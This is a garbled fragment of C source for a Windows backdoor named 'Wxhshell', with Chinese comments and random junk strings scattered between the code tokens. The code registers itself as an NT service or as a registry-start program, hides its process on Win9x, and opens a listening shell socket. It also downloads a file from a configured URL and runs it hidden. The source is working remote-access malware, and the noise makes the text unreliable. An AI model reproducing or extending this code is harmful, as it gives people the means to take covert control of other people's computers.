9!P|m EVSX.'&f if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x9g#<2w8 SH$PwJ U CloseHandle(hProcess); m(!FHPvN Il'fL'3 if(strstr(procName,"services")) return 1; // 以服务启动 L2z[ # W']6'O return 0; // 注册表启动 Sm|6 %3 } 2ilQXy u#.2w)!D // 主模块 r19
pZAc int StartWxhshell(LPSTR lpCmdLine) t~XN}gMxw { `^&OF uee SOCKET wsl; PZ9I`P!C BOOL val=TRUE; T8g$uFo int port=0; K%oG,-wdg struct sockaddr_in door; ,O(hMI85] ZE}}W_ if(wscfg.ws_autoins) Install(); ~>|ziHx i/4>2y9/F4 port=atoi(lpCmdLine); :o3N;*o>)0 y)@wjH{6 if(port<=0) port=wscfg.ws_port; C6PdDRf 0l6.<-f{ WSADATA data; Gc|idjW4 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [W&T(%(W- !Vk^TFt` if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %ET+iIhK setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W<g1<z\f door.sin_family = AF_INET; M= (u]%\ door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;V!D:5U door.sin_port = htons(port); ]f_p8?j" 5H^(2w if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <hyKu
closesocket(wsl); B@ EC5Ap* return 1; l/5
hp. } i
ct]) W>r+h-kR if(listen(wsl,2) == INVALID_SOCKET) { /n&&Um\ closesocket(wsl); 1% ` Rs
return 1; XiWmV ? } !N^@4* Wxhshell(wsl);
0y\Z9+G: WSACleanup(); Vurqt_nb @6.vKCSE return 0; DEgXQ[ $??I/6 } o mx= [-w%/D%@ // 以NT服务方式启动 X?Q4} Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %BODkc Zh { H5an%kU|j DWORD status = 0; \;Weizq5 DWORD specificError = 0xfffffff; ]?4hyN >$7B
wO serviceStatus.dwServiceType = SERVICE_WIN32; 4qa.1j(R/ serviceStatus.dwCurrentState = SERVICE_START_PENDING; l]SX@zTb serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v$9y,^p@e
serviceStatus.dwWin32ExitCode = 0; zQ PQ serviceStatus.dwServiceSpecificExitCode = 0; 8P`"M#fI serviceStatus.dwCheckPoint = 0; i.#:zU%o serviceStatus.dwWaitHint = 0; pj(,Zd[47 Zd+bx*rD hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W,u:gzmhw if (hServiceStatusHandle==0) return; lTsjxw
o iy"*5<;*DD status = GetLastError(); :!QAC@
if (status!=NO_ERROR) j<$2hiI/?& { `vV7c`K? serviceStatus.dwCurrentState = SERVICE_STOPPED; ;*J serviceStatus.dwCheckPoint = 0; Wp,R^d serviceStatus.dwWaitHint = 0; *zLMpL_ serviceStatus.dwWin32ExitCode = status; ~LC-[&$ serviceStatus.dwServiceSpecificExitCode = specificError; uAk.@nfiEv SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;{6~Bq9 return; I^]nqK } 9YGY,sx 4M T 7 `sr serviceStatus.dwCurrentState = SERVICE_RUNNING; fQFk+C serviceStatus.dwCheckPoint = 0; lquLT6] serviceStatus.dwWaitHint = 0; naNghGQ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EM_d8o)`B } E-FUlOG& ry]l.@o; // 处理NT服务事件,比如:启动、停止 (m$Y<{)2 VOID WINAPI NTServiceHandler(DWORD fdwControl) +T+#q@ { u?EN switch(fdwControl) @VI@fN { 3g
B7g'U case SERVICE_CONTROL_STOP: @F>D+=hS serviceStatus.dwWin32ExitCode = 0; D+c>F5 serviceStatus.dwCurrentState = SERVICE_STOPPED; jWgX_//! serviceStatus.dwCheckPoint = 0; A}w/OA97RO serviceStatus.dwWaitHint = 0; 3c%caK { |BYRe1l6l SetServiceStatus(hServiceStatusHandle, &serviceStatus); QWU-m{@~& } 'fW-Y!k% return; xx $cnG case SERVICE_CONTROL_PAUSE: @+DX.9 serviceStatus.dwCurrentState = SERVICE_PAUSED; &3&HY:yF break; VaPG-n>Vf case SERVICE_CONTROL_CONTINUE: SfR%s8c` serviceStatus.dwCurrentState = SERVICE_RUNNING; r|Z{-*` break; ?4uL-z](V case SERVICE_CONTROL_INTERROGATE: sRfcF`7 break; WzWXE( }; 0`H#
'/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); q\)-BXw: } DNi+"[~&P 2zpr~cB= // 标准应用程序主函数 8k79&| int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W3RT{\ { JS77M-Ac Y*hCMy; // 获取操作系统版本 5-M-X#( OsIsNt=GetOsVer(); rlD8D|ZG GetModuleFileName(NULL,ExeFile,MAX_PATH); ]^]wP]R_ ce(#2o&` // 从命令行安装 ^Dx&|UwiZa if(strpbrk(lpCmdLine,"iI")) Install(); E"0>yl) lfg6646?S // 下载执行文件 05[SC}MCA if(wscfg.ws_downexe) { %znc##j)q if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ss`LLq0LO WinExec(wscfg.ws_filenam,SW_HIDE); iQ{VY
^
0 } n`KY9[0U= F[0]/ if(!OsIsNt) { W9)&!&<o // 如果时win9x,隐藏进程并且设置为注册表启动 nDW9NQ HideProc(); svSVG:48 StartWxhshell(lpCmdLine); /<3UQLMa } 3a|\dav% else
3CJwj if(StartFromService()) nP$9CA // 以服务方式启动 ##{taR8 StartServiceCtrlDispatcher(DispatchTable); w>YDNOk else Cyp'?N
// 普通方式启动 o(HbGHIP StartWxhshell(lpCmdLine); )X!,3Ca{43 A=4OWV? return 0; q*KAk{kR(v }
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